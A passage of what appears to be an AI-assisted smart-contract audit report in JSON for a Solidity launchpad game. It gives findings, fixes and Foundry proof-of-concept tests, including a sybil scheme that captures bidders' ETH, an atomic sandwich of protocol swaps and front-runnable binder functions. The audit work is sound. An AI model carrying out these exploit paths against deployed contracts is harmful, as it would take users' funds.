and the king put in"},{"citation":"resolved","description":"PvPPad.fundGames pays the king's games share to games whose isLiveForKing() is true, weighted by pot size (PvPPad.sol:146-165, share = msg.value * pots[i] / total). Liveness is only: a first mint happened, not ended, imps.length >= 5. Mints are free and need no roll, so an operator launches a token (permissionless), mints five Imps from five addresses, and from that moment every takeCrown() routes 50% of its extra into that pot, which the operator's one surviving Imp collects at the hard end (rank 1 of 1) for ~0.012 ETH of rolls. Second lever (audit_permissions): PadGame.fundPot() (PadGame.sol:214-218) has no caller restriction and pot is the weight, so the operator donates X to its own game to dominate the split against honest live games; X returns to its own wallets at finalize (no bell: ranks get 100% minus at most 0.005 ETH fee). A bidder who runs such a game recovers ~50% of its own extra. Real games older than the last 10 launches are excluded (PvPPad.sol:141), so ten junk launches also starve them. Merged from audit_flow (sybil liveness, high) and audit_permissions (fundPot steering, medium): same root cause, weight and liveness are set by free or self-recoverable actions. Severity high: the bidder's ETH, meant for pots other people compete for, is paid to an unprivileged operator. Fix that keeps the design: count distinct wallets that have rolled (>= 5) for liveness and weight by roll-earned pot (track roll contributions separately from fundPot/carry/king top-ups), or restrict fundPot to the pad and the king contract; escrow the share until the game ends with >= 5 distinct living rollers, else to the carry.","line":268,"path":"src/PadGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IUnlockCallback, PoolKey, ModifyLiquidityParams, SwapParams} from \"src/interfaces/Interfaces.sol\";\n\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ninterface IHookInit {\n    function beforeInitialize(address sender, PoolKey calldata key, uint160 sqrtPriceX96) external returns (bytes4);\n}\n\ncontract PoolManagerStub {\n    function unlock(bytes calldata data) external returns (bytes memory) {\n        return IUnlockCallback(msg.sender).unlockCallback(data);\n    }\n\n    function initialize(PoolKey memory key, uint160 sqrtPriceX96) external returns (int24) {\n        if (key.hooks != address(0)) {\n            require(\n                IHookInit(key.hooks).beforeInitialize(msg.sender, key, sqrtPriceX96) == IHookInit.beforeInitialize.selector,\n                \"hook\"\n            );\n        }\n        return 0;\n    }\n\n    function modifyLiquidity(PoolKey memory, ModifyLiquidityParams memory p, bytes calldata)\n        external\n        pure\n        returns (int256 callerDelta, int256 feesAccrued)\n    {\n        if (p.liquidityDelta > 0) callerDelta = -1;\n        feesAccrued = 0;\n    }\n\n    function swap(PoolKey memory, SwapParams memory, bytes calldata) external pure returns (int256) {\n        revert(\"no swap in stub\");\n    }\n\n    function sync(address) external {}\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(address, address, uint256) external {}\n\n    receive() external payable {}\n}\n\n/// fundGames() pays the king's 50% share to \"live games with >= 5 Imps\" weighted by pot. Imps are free\n/// and one wallet may hold five of them through five addresses, so a throwaway launch with five sybil\n/// Imps receives the share and its operator wins it back as the only living Imp.\ncontract SybilKingShareTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PoolManagerStub pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n\n    address honest = address(0xA001);\n    address bidder = address(0xA002);\n    address[5] sybils = [address(0xC001), address(0xC002), address(0xC003), address(0xC004), address(0xC005)];\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = new PoolManagerStub();\n        PadToken tokenTemplate = new PadToken();\n        PadGame gameTemplate = new PadGame();\n        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        pvp = PadGame(pad.gameOf(1));\n        vm.deal(honest, 10 ether);\n        vm.deal(bidder, 10 ether);\n        for (uint256 i; i < 5; ++i) {\n            vm.deal(sybils[i], 1 ether);\n        }\n\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        bool found;\n        for (uint256 i; i < 500_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                found = true;\n                break;\n            }\n        }\n        require(found, \"no salt\");\n        vm.prank(OWNER);\n        pad.openPad(salt);\n\n        vm.prank(honest);\n        pvp.mint();\n        advance(10 minutes);\n        vm.prank(honest);\n        pvp.roll{value: 0.002 ether}();\n        advance(60 minutes);\n        pvp.poke();\n        pvp.poke();\n        assertTrue(pad.genesisGraduated(), \"genesis graduated\");\n        // drain the carry pot left by genesis into a launch nobody plays, so it does not mix into the numbers\n        pad.launch(\"sink\", \"SINK\", \"\");\n        assertEq(pad.carryPot(), 0);\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function _sybilBalance() internal view returns (uint256 s) {\n        for (uint256 i; i < 5; ++i) {\n            s += sybils[i].balance;\n        }\n    }\n\n    function test_fiveFreeImpsCaptureKingsGamesShare() public {\n        uint256 start = _sybilBalance();\n        vm.prank(sybils[0]);\n        uint256 id = pad.launch(\"junk\", \"JUNK\", \"\");\n        PadGame g = PadGame(pad.gameOf(id));\n        for (uint256 i; i < 5; ++i) {\n            vm.prank(sybils[i]);\n            g.mint();\n        }\n        (bool live,) = g.isLiveForKing();\n        assertTrue(live, \"five free imps make the launch 'live' for the king split\");\n\n        // Someone takes the crown: 50% of the bid is paid into the sybil game's pot.\n        vm.prank(bidder);\n        king.takeCrown{value: 1 ether}();\n        assertEq(g.pot(), 0.5 ether, \"king's games share landed in the sybil pot\");\n\n        // One sybil plays alone to the 60-minute end and is the only living Imp.\n        advance(10 minutes);\n        for (uint256 i; i < 6; ++i) {\n            vm.prank(sybils[0]);\n            g.roll{value: 0.002 ether}();\n            advance(599);\n        }\n        while (!g.ended()) advance(60);\n        advance(5);\n        vm.prank(sybils[0]);\n        g.finalize();\n        assertEq(g.livingAtEnd(), 1);\n\n        // Expected: the king's extra reaches games other people are playing, not the bidder-independent\n        // operator of five free Imps. Actual: the sybil wallets net about +0.49 ETH.\n        assertLe(_sybilBalance(), start, \"five free imps must not capture the king's games share\");\n    }\n}","reproduction":"(a) Sybil liveness: pad open, PvP graduated, carryPot 0. Sybils C001..C005 (1 ETH each): C001 calls pad.launch(\"junk\",\"JUNK\",\"\"); each sybil calls g.mint() -> g.isLiveForKing() returns (true, 0). Bidder calls king.takeCrown{value: 1 ether}() -> g.pot() == 0.5 ETH. warp +600 s; C001 rolls six times 599 s apart; warp past hardEnd; +4 L2 blocks; C001 calls g.finalize(). Expected: the king's extra reaches games other people play. Actual: livingAtEnd == 1 and the five sybil wallets hold 5.48896 ETH, up from 5 ETH. Ran the attached proof: forge test --match-path test/scratch/Proof_69929244d3fd.t.sol fails with 'five free imps must not capture the king's games share: 5488960000000000000 > 5000000000000000000'. (b) fundPot steering (traced): honest launch A with 5 Imps and 2 rolls (pot 0.00032 ETH), attacker launch B with 5 sybil Imps and 1 roll (pot 0.00016 ETH); attacker calls gb.fundPot{value: 5 ether}(); bidder calls king.takeCrown{value: 1 ether}() -> games = 0.5 ETH; share_B = 0.5 * 5.00016 / 5.00048 = 0.49997 ETH, share_A = 0.00003 ETH; expected B at most 0.5 * 0.00016/0.00048 = 0.0267 ETH.","severity":"high","snippet":"        live = firstMintAt != 0 && !ended() && imps.length >= 5;","title":"Five free Imps make a sybil launch 'live' for the king split, and open fundPot() lets the attacker set its weight: the king's 50% games share is captured"},{"citation":"resolved","description":"PvPPad.upkeep() forwards msg.sender as the upkeep caller (PvPPad.sol:171-173: _upkeep(msg.sender)) and PadGame.upkeepStep(caller) passes it to _finalize(caller), which pays the 0.5% finalizer fee (max 0.005 ETH) to that address with a 30k-gas push (PadGame.sol:430, 442-447). When the state-changing call that finalizes a due game is KingOfThePad.takeCrown(), the caller is the KingOfThePad contract itself: it has no receive/fallback, the push fails, the fee is booked in PadGame.claimable[KingOfThePad], and KingOfThePad has no function that calls PadGame.claim(). The bidder who paid for the finalizing transaction gets nothing, contrary to 'Finalizer gets 0.5% of the pot', and the ETH is unrecoverable. Every game that is due (latest launch or the round-robin one) when a crown is taken loses its fee this way. Reported by economics, write_foundry_tests and permissions; merged. Severity medium: bounded (<= 0.005 ETH per game) but permanent loss of funds on a frequent path. Fix: have takeCrown call an upkeep entry that takes msg.sender as beneficiary (e.g. let PvPPad.upkeepFor accept the king contract as caller), or add a claim-and-forward path to KingOfThePad.","line":89,"path":"src/KingOfThePad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {\n    IPoolManager,\n    IUnlockCallback,\n    IERC20Min,\n    PoolKey,\n    ModifyLiquidityParams,\n    SwapParams\n} from \"src/interfaces/Interfaces.sol\";\nimport {PadLib} from \"src/libs/PadLib.sol\";\n\n/// Proof for: a game finalized by the upkeep that KingOfThePad.takeCrown triggers pays the finalizer\n/// fee to the KingOfThePad contract (msg.sender of pad.upkeep). KingOfThePad has no receive(), so the\n/// push fails and the fee becomes claimable[KingOfThePad] inside the game, which nothing can claim.\n/// Expected: the fee reaches the bidder (the account that paid for the finalizing transaction) or is\n/// at least recoverable. Actual: it is locked in the game forever.\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ninterface IHookInit {\n    function beforeInitialize(address sender, PoolKey calldata key, uint160 sqrtPriceX96) external returns (bytes4);\n}\n\ncontract PMStub is IPoolManager {\n    uint256 internal constant Q96 = 1 << 96;\n    uint160 internal constant SQRT_MIN_FULL = 4_310_618_291;\n    uint160 internal constant SQRT_MAX_FULL = 1_456_195_216_270_955_103_182_949_462_556_801_019_286_893_565_306;\n\n    struct P {\n        bool init;\n        uint160 sqrtP;\n        uint256 r0;\n        uint256 r1;\n    }\n\n    mapping(bytes32 => P) public pools;\n    mapping(address => int256) public delta;\n    address public locker;\n    address public syncedToken;\n    uint256 public syncedBalance;\n\n    function unlock(bytes calldata data) external returns (bytes memory result) {\n        locker = msg.sender;\n        result = IUnlockCallback(msg.sender).unlockCallback(data);\n        locker = address(0);\n    }\n\n    function initialize(PoolKey memory key, uint160 sqrtPriceX96) external returns (int24) {\n        P storage p = pools[keccak256(abi.encode(key))];\n        require(!p.init, \"initialized\");\n        IHookInit(key.hooks).beforeInitialize(msg.sender, key, sqrtPriceX96);\n        p.init = true;\n        p.sqrtP = sqrtPriceX96;\n        return 0;\n    }\n\n    function modifyLiquidity(PoolKey memory key, ModifyLiquidityParams memory params, bytes calldata)\n        external\n        returns (int256 callerDelta, int256 feesAccrued)\n    {\n        P storage p = pools[keccak256(abi.encode(key))];\n        if (params.liquidityDelta > 0) {\n            uint256 l = uint256(params.liquidityDelta);\n            uint256 a0 = PadLib.mulDiv(l, PadLib.mulDiv(SQRT_MAX_FULL - p.sqrtP, Q96, SQRT_MAX_FULL), p.sqrtP) + 1;\n            uint256 a1 = PadLib.mulDiv(l, p.sqrtP - SQRT_MIN_FULL, Q96) + 1;\n            p.r0 += a0;\n            p.r1 += a1;\n            callerDelta = _pack(-int256(a0), -int256(a1));\n        }\n        feesAccrued = 0;\n    }\n\n    function swap(PoolKey memory, SwapParams memory, bytes calldata) external pure returns (int256) {\n        revert(\"no swap in stub\");\n    }\n\n    function sync(address currency) external {\n        syncedToken = currency;\n        syncedBalance = IERC20Min(currency).balanceOf(address(this));\n    }\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(address, address, uint256) external pure {}\n\n    function _pack(int256 a0, int256 a1) internal pure returns (int256 d) {\n        assembly (\"memory-safe\") {\n            d := or(shl(128, a0), and(a1, 0xffffffffffffffffffffffffffffffff))\n        }\n    }\n\n    receive() external payable {}\n}\n\ncontract Deployer {\n    PadToken public token;\n    PadGame public game;\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n    KingOfThePad public king;\n\n    function deployAll(address owner, address poolManager) external {\n        token = new PadToken();\n        game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(poolManager, address(pad));\n        king = new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\ncontract FinalizerFeeStuckTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PMStub pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n    address[] players;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = new PMStub();\n        Deployer d = new Deployer();\n        d.deployAll(OWNER, address(pm));\n        pad = d.pad();\n        liq = d.liquidity();\n        king = d.king();\n        pvp = PadGame(pad.gameOf(1));\n        for (uint256 i; i < 8; ++i) {\n            address p = address(uint160(0xA000 + i));\n            players.push(p);\n            vm.deal(p, 10 ether);\n        }\n        // open the pad with a mined salt\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function playAndGraduate(PadGame g, uint256 n) internal {\n        for (uint256 i; i < n; ++i) {\n            vm.prank(players[i]);\n            g.mint();\n        }\n        advance(10 minutes);\n        for (uint256 i; i < n; ++i) {\n            vm.prank(players[i]);\n            g.roll{value: 0.002 ether}();\n        }\n        advance(60 minutes);\n        g.poke();\n        if (!g.finalized()) g.finalize();\n        if (!g.graduated()) g.graduate();\n    }\n\n    function test_finalizerFeeIsLockedInsideGameWhenTakeCrownFinalizes() public {\n        playAndGraduate(pvp, 2);\n        assertTrue(pad.genesisGraduated());\n\n        // launch #2, play it, let it end with a pot, but do not finalize it\n        uint256 id = pad.launch(\"Foo\", \"FOO\", \"\");\n        PadGame g = PadGame(pad.gameOf(id));\n        for (uint256 i; i < 3; ++i) {\n            vm.prank(players[i]);\n            g.mint();\n        }\n        advance(10 minutes);\n        for (uint256 i; i < 3; ++i) {\n            vm.prank(players[i]);\n            g.roll{value: 0.002 ether}();\n        }\n        advance(60 minutes);\n        assertTrue(g.ended());\n        assertFalse(g.finalized());\n        uint256 potBefore = g.pot();\n        uint256 expectedFee = potBefore * 50 / 10_000;\n        assertGt(expectedFee, 0);\n\n        // the bidder's takeCrown runs pad.upkeep(), which finalizes launch #2\n        address bidder = players[7];\n        uint256 bidderBefore = bidder.balance;\n        vm.prank(bidder);\n        king.takeCrown{value: 0.01 ether}();\n        assertTrue(g.finalized(), \"upkeep finalized the game\");\n\n        // Expected: the 0.5% finalizer fee reaches the bidder (or is recoverable by someone).\n        // Actual: it is credited to the KingOfThePad contract inside the game and can never be claimed.\n        assertEq(g.claimable(address(king)), 0, \"fee must not be stranded on the king contract\");\n        assertEq(bidder.balance, bidderBefore - 0.01 ether + expectedFee, \"bidder receives the finalizer fee\");\n    }\n}","reproduction":"Deploy all five contracts, open the pad, play PvP to graduation. launch #2, mint 3 Imps, roll once each, warp 60 minutes so the game has ended with pot > 0 (878,000,000,000,000 wei) and is not finalized; +4 L2 blocks. Bidder calls king.takeCrown{value: 0.01 ether}(). Expected: launch #2 finalized and the bidder's balance rises by pot*50/10000 = 4,390,000,000,000 wei. Actual: launch #2 is finalized, the bidder receives nothing, PadGame(gameOf(2)).claimable(address(king)) == 4390000000000 and no code path can claim it. Ran the attached proof: forge test --match-path test/scratch/Proof_a109b3a27066.t.sol fails with 'fee must not be stranded on the king contract: 4390000000000 != 0'.","severity":"medium","snippet":"        pad.upkeep();","title":"takeCrown() runs pad.upkeep() with KingOfThePad as the caller, so finalizer fees paid by that upkeep are stranded forever in PadGame.claimable[KingOfThePad]"},{"citation":"resolved","description":"The burn buy uses sqrtPriceLimit = MIN_SQRT_PRICE_LIMIT and the fee sale (line 263) uses MAX_SQRT_PRICE_LIMIT, both with no minimum output, and both run inside PvPPad._upkeep (PvPPad.sol:192-193), which anyone can call via PvPPad.upkeep(). No mempool race is needed on an FCFS Arbitrum-stack sequencer: one contract buys PVP in the pool, calls pad.upkeep() (burnChunk executes as soon as lastBurnAt + 10 min has passed and burnBucket > 0), and sells back, all in one transaction. The 0.02 ETH cap only protects pools deep relative to it; the PvP pool is seeded with exactly the genesis game's ethRaised (one roll is 0.0018 ETH) while the burn bucket is fed by every later roll's 2% and 25% of every king extra, so a thin pool plus a steady burn stream is the realistic state. docs/AUDIT.md item 8 accepts sandwiching 'at the margin'; with a thin pool it is most of the chunk. The same shape applies to distribute's 2M-token sale (attacker sells first, upkeep sells at the depressed price, attacker buys back; audit_permissions quantified it as profitable once the pool's token reserve falls under ~100M). Merged from audit_economics (medium) and audit_permissions (low). Loser: PVP holders (burn value diverted to the attacker) and the current king (fee ETH). Severity medium: loss under a specific but likely condition (thin pool), repeatable every 10 minutes. Fix that keeps the design: bound each protocol swap by a minimum output derived from the pool's pre-swap price (or skip the chunk when the quoted output deviates beyond a tolerance), or make burnChunk/distribute not callable in the same transaction as arbitrary user swaps.","line":278,"path":"src/PadLiquidity.sol","reproduction":"Reproduced in test/scratch/Sandwich.t.sol with the repository's MockPoolManager (constant product, 1% pool fee): graduatePvp() from BaseTest (12 rolls, pool reserve0 = 21,599,999,784,000,001 wei = 0.0216 ETH), liq.fundBurn{value: 0.02 ether}(), warp +10 min. Baseline pad.upkeep(): 9,898,194,188,526,490,585,067,002 PVP (9.90M) sent to dEaD. Sandwich by a helper contract implementing unlockCallback, one transaction: poolManager.unlock -> swap(zeroForOne=true, exact in 0.01 ETH) -> pad.upkeep() (burnChunk spends 0.02 ETH at the inflated price) -> swap(zeroForOne=false, all PVP bought). Expected: attacker cannot profit from the protocol's own swap. Actual: attacker ETH 1.000000000000000000 -> 1.011799681732766343 (+0.0118 ETH, 59% of the chunk), only 5,477,496,911,672,539,104,244,809 PVP (5.48M, 45% less) burned, burnBucket == 0. Test asserts attacker balance <= 1 ether and fails on this code.","severity":"medium","snippet":"            int256 d = poolManager.swap(key, SwapParams(true, -int256(amount), MIN_SQRT_PRICE_LIMIT), \"\");","title":"burnChunk() and distribute() swap with no price bound and can be triggered atomically by anyone through upkeep(): a self-sandwich diverts the burn bucket (and the king's fee sales) in a thin PvP pool"},{"citation":"resolved","description":"roll() checks require(!ended()) at line 145 before it resolves the caller's previous pending roll at line 149. If that resolution reaches +-50, _resolveRoll sets bellAt = block.timestamp (lines 376-380) and ended() becomes true, but execution continues: the 0.002 ETH is split, 90% buys tokens from the curve, the pot grows, a new Roll is pushed, pendingCount += 1 and maxActivity is bumped, all after the game is over. _finalize then waits for that roll, and when it resolves it can move the bell ringer off +-50 (e.g. 50 -> 46 on a -4) and change heightReachedAt, so the ranking uses a height reached after the end, contradicting 'play until the bell'. The all-dead and hard-end boundaries are not affected (ended() is evaluated first there). Reported by economics, flow and write_foundry_tests; merged. Fix: resolve the pending roll before the ended() check, or re-check ended() after line 149 and revert 'game over'.","line":149,"path":"src/PadGame.sol","reproduction":"Trace: Imp A at height 46 (or any height where the pending roll's known outcome reaches 50) has pendingRoll != 0 whose commit+3 blocks are mined. 60 s after its last roll A calls roll{value: 0.002 ether}(). Line 145: ended() false -> passes. Line 149: _resolveRoll -> nh == 50, bellAt == 0, !ended() -> bellAt = now, Bell emitted; ended() now true. Lines 151-172 still run: pot grows by 0.00016+ ETH, ethRaised grows, rolls.length +1, pendingCount == 1, tokens transferred to A. Expected: revert 'game over' or no roll recorded (rollCount, pot, token balance unchanged, final height 50). Actual: the call succeeds; after 4 more L2 blocks poke() resolves the extra roll and A's height can be 46 with bellRang() true. The flow specialist's test (two Imps, P0 height set to 49, roll 0 resolvable) observed bellRang() == true, rollCount 1 -> 2, pendingCount == 1.","severity":"low","snippet":"        if (imp.pendingRoll != 0) _resolveRoll(imp.pendingRoll - 1);","title":"roll() accepts and records a roll after the game has ended when the Imp's own pending roll rings the bell inside the same call"},{"citation":"resolved","description":"The insertion sort reads storage in the comparator (_ranksBefore loads imps[order[j-1]] on every step), so with 200 living Imps whose ranks arrive in reverse order it performs 19,900 comparisons each with SLOADs, followed by 100 gas-capped pushes. Measured 21,798,202 gas. It fits a 32M Arbitrum-style block, but it far exceeds the gas an ordinary mint/roll/takeCrown carries, so the try/catch in PvPPad._tend swallows the out-of-gas on every call and the game stays unfinalized (and ungraduated: no pool, no token unlock) until someone calls finalize() directly with > 22M gas, while every other call pays for the failed attempt. docs/AUDIT.md item 2 states 'a few million gas' and the suite's largest finalize has 5 Imps. Reported by flow and write_foundry_tests; merged. Fix: compute a sort key per Imp once into memory (abs(height) << 40 | heightReachedAt) so the comparator reads memory only, and add a 200-living-Imp finalize gas test.","line":396,"path":"src/PadGame.sol","reproduction":"test/scratch/Gas200.t.sol (BaseTest): openPad(); 200 wallets mint; advance 10 min; all 200 roll once; advance 2 s; resolvePending(300) (pendingCount == 0); vm.store each imps[i] slot (keccak(10) + 2i) with height = i/4, heightReachedAt = 1000 - i, lastRoll = endTime() - 1 (all alive, |h| ascending with index so every insertion walks to the front); warp to endTime(); finalize(). Expected per AUDIT.md: a few million gas. Actual: finalize gas 21,798,202 (assertLt 5,000,000 fails), livingAtEnd == 200.","severity":"low","snippet":"            while (j > 0 && _ranksBefore(imp, imps[order[j - 1]])) {","title":"Worst-case finalization of 200 living Imps costs 21.8M gas: upkeep-driven finalize always fails for such a game and docs/AUDIT.md's 'a few million' is wrong"},{"citation":"resolved","description":"The bell condition checks only that the roll is not expired and the game has not ended; it never checks that the rolling Imp is alive at resolution time. A roll stays pending while fewer than 4 L2 blocks have followed its commit, and L2 blocks advance only with chain activity, so on a quiet chain 10 minutes can pass inside the window. If no call touches the game for 10 minutes while another Imp keeps it alive, the Imp is dead by the _finalize rule (line 393, lastActivity + DEATH <= end) yet its late resolution sets bellAt and bellRinger = its owner. _finalize excludes it from the ranking but still pays it 20% of the pot (bell == (bellAt == end) always holds). If it was the only Imp with a recent roll, living == 0 and the whole pot goes to the carry instead of to the survivors. Reported by audit_math; traced and kept. Fix: require _lastActivity(imp) + DEATH > block.timestamp before ringing the bell, otherwise apply the height change without the bell.","line":376,"path":"src/PadGame.sol","reproduction":"Imps A (index 0) and B mint; at play start A's height is 49 (reachable by dice; the specialist set it via vm.store); A rolls at t0 (commit block c), B rolls at c+1; at t0+9 min B rolls again with the L2 block only at c+2, so A's roll is unresolvable (needs cur > c+3) and A.pendingRoll stays 1; at t0+10 min+1 s (isAlive(0) == false) the block number reaches c+7 and anyone calls resolvePending(8). With a commit block whose three hashes give a positive face, A reaches +50: line 376 passes (!ended() because endTime = maxActivity + DEATH = t0+19 min), bellAt = now, bellRinger == A. finalize(): end = bellAt; A: lastRoll + DEATH = t0+10 min <= end -> excluded; bell == true -> A receives 20% of the pot (119,400,000,000,000 wei of a 600,000,000,000,000 wei pot after fee), B 477,600,000,000,000 wei. Expected: a dead Imp cannot ring the bell or be paid.","severity":"low","snippet":"        if (!expired && (nh == HEIGHT_CAP || nh == -HEIGHT_CAP) && bellAt == 0 && !ended()) {","title":"A stale roll resolved after its Imp has died still rings the bell, ends the game and pays the dead Imp the 20% bell share"},{"citation":"resolved","description":"heightReachedAt is written when a roll is resolved, not when it was committed. Resolution is permissionless and out of order: an Imp's own roll() resolves its previous roll (line 149) before the FIFO batch (_resolve at line 171), so when A and B both reach the same height, B having committed first, A's call stamps A first and B in the same second; the insertion sort (_ranksBefore, line 439: strict <) then keeps the lower Imp index first, i.e. the earlier minter, regardless of commit order. The brief says earlier heightReachedAt wins ties; with resolution-time stamps that ordering is partly chosen by whoever resolves and by mint order. Reported by write_foundry_tests; traced and kept. Fix: stamp with the roll's commit block (or the commit timestamp) instead of the resolution timestamp.","line":373,"path":"src/PadGame.sol","reproduction":"Imps B (index 0) and A (index 1) are both at +26 and both have pending rolls that will land +4 (-> 30), B committed first (lower roll index). A calls roll(): line 149 resolves A's roll (heightReachedAt = now), then line 171 _resolve(8) resolves B's (heightReachedAt = now). Equal stamps: _ranksBefore(A, B) is false (not <), so the sort places B first because it has the lower index. Expected per brief: the Imp whose roll was committed earlier (B) wins the tie by commit time; actual: the tie falls to index order and would fall to A if A had minted first, or to whichever roll a resolver chose to resolve in an earlier block.","severity":"low","snippet":"            imp.heightReachedAt = uint40(block.timestamp);","title":"Tie-break timestamp is set at resolution time, so equal heights are ordered by who resolved first and, within one second, by Imp index instead of commit order"},{"citation":"resolved","description":"distribute() pays whoever is king at payout time, and takeCrown() sets king = msg.sender before calling pad.upkeep() (KingOfThePad.sol:69, 89), which calls liquidity.distribute(2) (PvPPad.sol:192). Fees that accrued during the previous reign but were not collected (upkeep collects only 2 pools per call, so with more than 2 pools a backlog always exists) are paid to the new king. This matches the brief ('send all to the current king') and is recorded as a design note, not a defect: the old king can only protect the backlog by calling distribute(poolCount) before being dethroned.","line":180,"path":"src/PadLiquidity.sol","reproduction":"Genesis graduated, 1 pool with accrued fees (e.g. after a burnChunk swap credited fees), king K1 holds the crown 1 hour, no distribute since. K2 calls king.takeCrown{value: 1.1*bid}(). Actual: inside takeCrown, pad.upkeep() -> distribute(2) pays the whole accrued amount to K2 (the permissions specialist observed the new bidder's balance rise by ~0.0004 ETH of PvP-pool fees in the same call). Expected under a fair-accrual reading: K1 receives the fees of its reign.","severity":"info","snippet":"        address k = king == address(0) ? address(0) : IKingView(king).king();","title":"Dethroning sweeps the previous king's uncollected LP fees to the new king inside the challenger's own takeCrown transaction"},{"citation":"resolved","description":"receive() exists so PoolManager.take can deliver ETH, but it is open to everyone and ETH sent directly is not credited to burnBucket, kingEscrow or claimable, and there is no sweep. The contract balance can exceed burnBucket + kingEscrow + sum(claimable) permanently. No user loss, only stranded value; noted for the ETH-conservation invariant.","line":100,"path":"src/PadLiquidity.sol","reproduction":"Any account calls address(liq).call{value: 1 wei}(\"\"). Expected: reverted or credited. Actual: succeeds, liq.balance +1 wei, burnBucket/kingEscrow/claimable unchanged, no function can send it out.","severity":"info","snippet":"    receive() external payable {}","title":"PadLiquidity.receive() accepts unsolicited ETH that no bucket credits and no path can move"},{"citation":"resolved","description":"PvPPad.bindLiquidity (65-69), PvPPad.startGenesis (72-78) and PadLiquidity.bindKing (PadLiquidity.sol:102-106) accept any first caller. Under the brief's one-transaction deployment no call can run between the constructors, and the suite deploys in one call, so this is a trust assumption: any rehearsal or redeploy in separate transactions would let a front-runner bind itself as liquidity (receives every graduation's ETH and tokens) or as king (distribute pays IKingView(attacker).king()). Documented so the deployment policy is understood as the guard.","line":65,"path":"src/PvPPad.sol","reproduction":"PvPPad deployed in tx 1, PadLiquidity not yet deployed. Attacker calls pad.bindLiquidity() -> liquidity = attacker; the real PadLiquidity constructor then reverts 'bound' and the launch is parked. Not reachable under the atomic factory deployment.","severity":"info","snippet":"    function bindLiquidity() external {","title":"bindLiquidity(), startGenesis() and bindKing() are unguarded one-shot binders whose only guard is the single-transaction factory deployment"},{"citation":"resolved","description":"upkeepStep returns if locked but does not set locked, so while _finalize pays winners inside upkeep a receiving contract finds the guard free and could call graduate()/claim() on the same game. With PUSH_GAS = 30_000 (PadLib.sol:6) the callback cannot complete an SSTORE-bearing call, so no exploit exists today (the suite's test_reentrantWinnerIsRefusedAndMadeClaimable shows the refusal); the protection is a gas constant rather than the guard. Setting locked inside upkeepStep would make it structural.","line":201,"path":"src/PadGame.sol","reproduction":"Not exploitable with PUSH_GAS = 30_000; documented for the maintainers.","severity":"info","snippet":"        if (locked || firstMintAt == 0) return;","title":"upkeepStep() checks but never sets the reentrancy lock; safety of payouts made inside upkeep rests on the 30k-gas push cap alone"}],"hash":"ef76ce498395ae01ebfce51c16fbe8500fb9eec3dac71f28b39675fc2a35167b","nodeId":"c58ecc91-f3ad-4a7c-bf35-bd9f06935561","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds 13 findings and a 36-row coverage record answering all 35 entry points. Only scratch tests were written, as the task allows.\n\n**What I did**\n\n- Ran the four specialist proofs on this tree. All four fail for the stated reasons, and the project's own 98 tests pass.\n- Reproduced two more claims myself: a worst-case 200-Imp finalize measured at 21.8M gas, and a 